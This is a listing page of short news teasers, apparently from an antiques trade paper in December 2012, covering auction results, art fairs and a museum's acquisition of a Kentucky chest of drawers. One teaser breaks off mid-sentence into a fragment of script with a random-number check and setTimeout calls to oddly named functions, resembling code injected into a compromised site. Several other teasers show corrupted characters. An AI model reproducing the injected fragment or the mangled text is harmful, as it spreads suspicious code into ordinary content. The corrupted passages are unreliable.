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December 11, 2012A chest of drawers that is widely considered to be the most iconic piece of early Kentucky furniture is now part of the collection of the Museum of Early Southern Decorative Arts (MESDA) at Old Salem...
December 11, 2012A rare and important Eighteenth Century, Polish parcel-gilt silver filigree spice container was the star lot at Kestenbaum & Company Judaica auction from the collection of the Jewish Historical...
December 11, 2012On December 3 Heritage Auctions conducted a Signature jewelry auction that was led by a record-breaking 9.26-carat unmounted, emerald-cut diamond that sold at $902,500, including the buyer premium.
December 11, 2012A strong selection of stoneware and redware offered at auction by Crocker Farm once again saw substantial prices paid on November 3. Nearly 500 lots of American pottery and associated items were sold...
December 11, 2012A two-piece Nineteenth Century cupboard from a Southbury, Conn., estate was the marquee lot at Brookfield Auction December 1 antiques and estates auction at the Litchfield Firehouse..
December 11, 2012Sixteen years and growing, the Boston International Fine Arts Show (BIFAS) has established itself in the Boston firmament as the place to view and buy fine art of all kinds. This year event, November...
December 11, 2012By: Andrea Valluzzo Celebrating its fifth anniversary, The American Art Fair (TAAF) made a sumptuous presentation at the National Bohemian Hall November 26–29, with...-
December 11, 2012By: Andrea Valluzzo A chest of drawers that is widely considered to be the most iconic piece of early Kentucky furniture is now part of the collection of the Museum...
December 11, 2012By: David S. Smith “It was approachable andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0),...-
December 11, 2012By: Andrea Valluzzo A chest of drawers that is widely considered to be the most iconic piece of early Kentucky furniture is now part of the collection of the Museum of Early...
December 4, 2012Christie sale of American art on November 28 totaled $38,469,650, selling 72 percent by lot and 84 percent by value. The top lot of the sale was Edward Hopper ⁏ctober on Cape Cod,†which...
December 4, 2012⁑uality prevails,†stated auction house principal Sandra Germain in the days following the most recent sale at Shannon Fine Art Auctioneers. Record prices were routinely established at the recent...
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